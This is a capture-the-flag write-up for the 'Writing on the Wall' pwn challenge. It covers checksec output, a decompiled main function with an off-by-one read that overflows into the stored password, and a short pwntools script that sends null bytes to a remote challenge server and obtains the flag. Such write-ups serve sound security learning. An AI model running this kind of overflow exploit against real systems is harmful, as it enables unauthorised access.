

# Writing on the Wall

## 1) Checked security

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(vigneswar@VigneswarPC)-[~/Pwn/Writing on the Wall/challenge]
$ checksec writing_on_the_wall
[*] '/home/vigneswar/Pwn/Writing on the Wall/challenge/writing_on_the_wall'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
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## 2) Checked Source code

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Decompile: main - (writing_on_the_wall)
1
2 undefined8 main(void)
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4 {
5     int iVar1;
6     long in_FS_OFFSET;
7     char local_le [6];
8     undefined8 local_18;
9     long local_10;
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11     local_10 = *(long *) (in_FS_OFFSET + 0x28);
12     local_18 = 0x2073736170743377;
13     read(0,local_le,7);
14     iVar1 = strcmp(local_le,(char *)&local_18);
15     if (iVar1 == 0) {
16         open_door();
17     }
18     else {
19         error("You activated the alarm! Troops are coming your way, RUN!\n");
20     }
21     if (local_10 != *(long *) (in_FS_OFFSET + 0x28)) {
22         /* WARNING: Subroutine does not return */
23         __stack_chk_fail();
24     }
25     return 0;
26 }
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```

## 3) Notes:

- i) We just have to enter the password which is in local\_18
- ii) the buffer has size 6, but we write 7 bytes, we may overwrite local\_18

## 4) Exploit

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#!/usr/bin/env python3
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from pwn import *

context(os='linux', arch='amd64', log_level='error')
context.terminal = ['tmux', 'splitw', '-h']
exe = ELF("./writing_on_the_wall")
libc = ELF("glibc/libc.so.6")
ld = ELF("glibc/ld-linux-x86-64.so.2")
context.binary = exe

# io = gdb.debug(exe.path, 'b* main+0x4d')
io = remote('94.237.58.102', 51658)
io.sendlineafter(b'>> ', b'\x00\x00\x00\x00\x00\x00\x00')

io.interactive()

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## 5) Flag

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(vigneswar@VigneswarPC)~/Pwn/Writing on the Wall/challenge
$ python3 solve.py
You managed to open the door! Here is the password for the next one: HTB{4n0th3r_br1ck_0n_th3_w4ll}
$

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